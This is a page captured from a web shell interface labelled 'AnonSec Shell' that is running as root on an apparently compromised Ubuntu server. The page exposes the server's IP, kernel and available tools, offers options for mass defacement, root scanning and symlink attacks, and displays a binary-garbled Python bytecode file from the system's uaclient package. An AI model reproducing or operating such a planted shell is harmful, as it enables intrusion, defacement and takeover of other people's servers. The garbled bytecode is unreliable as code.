AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/daemon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/daemon/__pycache__/__init__.cpython-310.pyc
o

F��c��@s�ddlZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZmZe�
d�Zej�edd�Zd	d
�Zdd�Zd
e	fdd�Zdd�ZdS)�N)�TimeoutExpired)�
exceptions�system)�UAConfig)�DEFAULT_DATA_DIR�DEFAULT_LOG_FORMATz
pro.daemon�messageszmotd-auto-attach-statusc
C�Pztjgd�dd�WdStjtfy'}zt�|�WYd}~dSd}~ww)N)�	systemctl�start�ubuntu-advantage.service�@��timeout�r�subpr�ProcessExecutionErrorr�LOG�warning��e�r�:/usr/lib/python3/dist-packages/uaclient/daemon/__init__.pyr����rc
Cr	)N)r
�stoprr
rrrrrrrrr�cfgcCsddlm}|�|�dS)Nr)�retry_auto_attach)�uaclient.daemonr�cleanup)rrrrrr#srcCs�|�|�g|_t�tj�}|�t�d��|�|�|�d�|�	|�t�
|�}|�|�|�t�t��|�d�|�	|�dS)Nz%(message)sz
ua-consolezua-file)�setLevel�handlers�logging�
StreamHandler�sys�stderr�setFormatter�	Formatter�set_name�
addHandler�FileHandlerr)�
console_level�	log_level�log_file�logger�console_handler�file_handlerrrr�
setup_logging)s






r0)r!�osr#�
subprocessr�uaclientrr�uaclient.configr�uaclient.defaultsrr�	getLoggerr�path�join�AUTO_ATTACH_STATUS_MOTD_FILErrrr0rrrr�<module>s
�		

Anon7 - 2022
AnonSec Team